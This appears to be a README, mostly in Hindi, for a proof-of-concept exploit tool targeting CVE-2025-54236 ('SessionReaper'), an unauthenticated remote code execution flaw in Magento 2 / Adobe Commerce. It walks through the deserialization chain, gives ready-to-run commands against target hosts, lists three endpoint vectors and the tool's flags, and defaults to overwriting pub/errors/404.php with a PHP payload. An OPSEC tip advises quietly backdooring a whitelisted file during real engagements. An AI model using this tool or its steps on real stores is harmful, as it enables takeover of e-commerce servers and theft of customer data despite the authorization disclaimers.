
PoC Magento Session Reaper - CVE-2025-54236
CVE-2025-54236 ("SessionReaper") के लिए एकीकृत PoC — Magento 2 / Adobe Commerce में REST API में नेस्टेड deserialization के माध्यम से एक गंभीर बिना-प्रमाणीकरण वाला RCE।
ServiceInputProcessor में अनुचित इनपुट सत्यापन (CWE-20); exploit primitive असुरक्षित deserialization (CWE-502) हैकेवल अधिकृत सुरक्षा परीक्षण के लिए। केवल उन्हीं सिस्टम के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति आपके पास है।
यह टूल प्रत्येक वेक्टर के लिए सामान्य तीन चरणों को श्रृंखलाबद्ध करता है, साथ ही एक ट्रिगर:
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php> एक सीरियलाइज़्ड ऑब्जेक्ट बनाता है जो deserialize होने पर payload.php को <remote_path> पर लिखता है।POST /customer/address_file/upload सीरियलाइज़्ड ब्लॉब को sess_<SESSID> के रूप में संग्रहीत करता है। Magento अपलोड की गई address फ़ाइलों को फ़ाइलनाम के पहले अक्षरों के आधार पर वितरित करता है, इसलिए यह media/customer_address/s/e/sess_<SESSID> पर पहुँचती है (इसीलिए --save-path में s/e/ है)।Session\Config का निर्माण करता है और, setSavePath() → setOption() → ini_set('session.save_path', ...) (एक प्रोसेस-ग्लोबल साइड इफेक्ट) के माध्यम से, PHP के session हैंडलर को अपलोड किए गए ब्लॉब की ओर इंगित करता है।Cookie: PHPSESSID=<SESSID> ले जाने वाला अनुरोध session_start() को ज़हरीली फ़ाइल को पढ़ने और unserialize() करने के लिए बाध्य करता है, जिससे gadget फायर होता है और पेलोड लिखा जाता है।सभी तीन वेक्टर एक ही सिंक तक पहुँचते हैं (context → urlBuilder → session → sessionConfig → savePath)। वे केवल endpoint, HTTP क्रिया और शामिल Magento मॉड्यूल में भिन्न होते हैं — यह तब उपयोगी है जब कोई WAF या अक्षम मॉड्यूल एक endpoint को ब्लॉक करता है लेकिन दूसरे को नहीं।
किसी भी वेक्टर के लिए वास्तविक कार्ट की आवश्यकता नहीं है। ServiceInputProcessor इनपुट रिज़ॉल्यूशन के दौरान मेथड पैरामीटर को deserialize करता है — इससे पहले कि सेवा कोई कार्ट लुकअप करे — इसलिए abc का एक डमी cartId तीनों में सिंक तक पहुँचता है। इसके बाद आने वाली "cart not found" त्रुटि (404/500) अपेक्षित है और पुष्टि करती है कि deserialization साइड इफेक्ट पहले ही फायर हो चुका है।
यदि आप चाहते हैं कि टूल ट्रिगर करने से पहले एक वास्तविक गेस्ट कार्ट बनाकर उसमें प्रोडक्ट जोड़े (GraphQL के माध्यम से सत्यापित), तो
--skuफ़्लैग उपलब्ध है। यह वैकल्पिक है और exploitation के लिए आवश्यक नहीं है — यह केवल उन वातावरणों के लिए मौजूद है जहाँ आप पूर्ण रूप से यथार्थवादी चेकआउट प्रवाह पसंद करते हैं। इसे छोड़ दें और टूल डमीabcकार्ट का उपयोग करेगा।
var/session/)। Redis- और डेटाबेस-समर्थित sessions इस विशिष्ट RCE चेन से प्रभावित नहीं होते हैं। यह दूरस्थ रूप से एन्यूमरेट नहीं किया जा सकता, इसलिए इसे ब्लाइंड प्रयास करना होगा।/customer/address_file/upload बिना प्रमाणीकरण के पहुँच योग्य हो।requests के साथ Python 3.8+phpggc — PATH में, सामान्य इंस्टॉल स्थानों में स्वतः-पहचाना जाता है, या फ़ॉलबैक के रूप में ambionics/phpggc Docker इमेज से खींचा जाता हैpayload.php स्क्रिप्ट के समान निर्देशिका में हो (इसे <?php से शुरू होना चाहिए)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # or: docker pull ambionics/phpggc
# order (original vector) — no cart, no credentials
python3 session_reaper.py --host https://target.com --method order
# checkmo — payments endpoint, Spanish store scope for the REST API
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — shipping endpoint
python3 session_reaper.py --host https://target.com --method address --api-store all
# optional: exercise a real cart flow with a known SKU (not required)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
यह टूल दो स्वतंत्र स्टोर कोड का उपयोग करता है:
--api-store — deserialization अनुरोध URL में स्कोप
(/rest/<api-store>/V1/guest-carts/...), जहाँ ServiceInputProcessor चलता है।--store — ट्रिगर अनुरोध (GET /<store>/) के लिए स्कोप और, यदि --sku
उपयोग किया जाए, कार्ट अनुरोधों के लिए।स्टोर व्यू कोड एडमिन-परिभाषित होते हैं; es/fr मत मान लें। पहले सक्रिय स्टोर व्यू की सूची बनाएं — गैर-मौजूद स्कोप के विरुद्ध अनुरोध बस विफल हो जाता है।
pub/errors/404.php क्योंMagento का डिफ़ॉल्ट Nginx कॉन्फ़िग fastcgi_backend को केवल सात PHP फ़ाइलें पास करता है:
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
कोई भी अन्य .php (pub/media/ में डाली गई कोई भी फ़ाइल सहित) अस्वीकार कर दी जाती है और कभी निष्पादित नहीं होगी। इसलिए पेलोड को नई फ़ाइल डालने के बजाय इन सात व्हाइटलिस्टेड फ़ाइलों में से एक को ओवरराइट करना चाहिए। pub/errors/404.php डिफ़ॉल्ट है क्योंकि Magento किसी भी अनुपलब्ध पृष्ठ पर इसे आंतरिक रूप से रेंडर करता है, इसलिए यह लाइव स्टोर पर अक्सर फायर होती है।
OPSEC:
404.phpको सीधे ओवरराइट करना शोरगुल वाला होता है (यह हर 404 पर चलता है)। वास्तविक एंगेजमेंट में, किसी व्हाइटलिस्टेड फ़ाइल को मिटाने के बजाय उसमें सूक्ष्म रूप से बैक-डोर लगाएं।
--username/--password केवल तभी आवश्यक हैं यदि आप किसी विशिष्ट सेटअप के लिए Bearer टोकन चाहते हैं।/tmp/sess_<SESSID> फ़ाइल बाहर निकलने पर हटा दी जाती है।केवल अधिकृत सुरक्षा अनुसंधान और परीक्षण के लिए प्रदान किया गया है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करता। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध न चलाएं।
| विधि | एंडपॉइंट | क्रिया | चेन में प्रवेश बिंदु |
|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|
--host | (आवश्यक) | लक्ष्य का आधार URL |
--method | (आवश्यक) | address | checkmo | order |
--store | default | ट्रिगर अनुरोध के लिए स्टोर कोड (और कार्ट, यदि --sku उपयोग किया जाए) |
--api-store | default | deserialization endpoint URL में स्टोर कोड (all | es | default | कस्टम) |
--sku | (कोई नहीं) | वैकल्पिक। सेट करने पर, इस SKU के साथ एक वास्तविक गेस्ट कार्ट बनाता है। आवश्यक नहीं है। |
--payload-in | payload.php | लक्ष्य पर लिखने के लिए PHP पेलोड |
--payload-out | /var/www/html/pub/errors/404.php | दूरस्थ लेखन पथ (वेब-निष्पादन योग्य स्थान होना चाहिए — नीचे नोट देखें) |
--save-path | media/customer_address/s/e/ | gadget चेन में इंजेक्ट किया गया savePath |
--phpggc | (स्वतः) | phpggc बाइनरी का स्पष्ट पथ |
--proxy | http://127.0.0.1:8081 | HTTP प्रॉक्सी (जैसे Burp) |
--no-proxy | off | प्रॉक्सी अक्षम करें |
--username / --password | (कोई नहीं) | Bearer टोकन के लिए वैकल्पिक ग्राहक क्रेडेंशियल्स |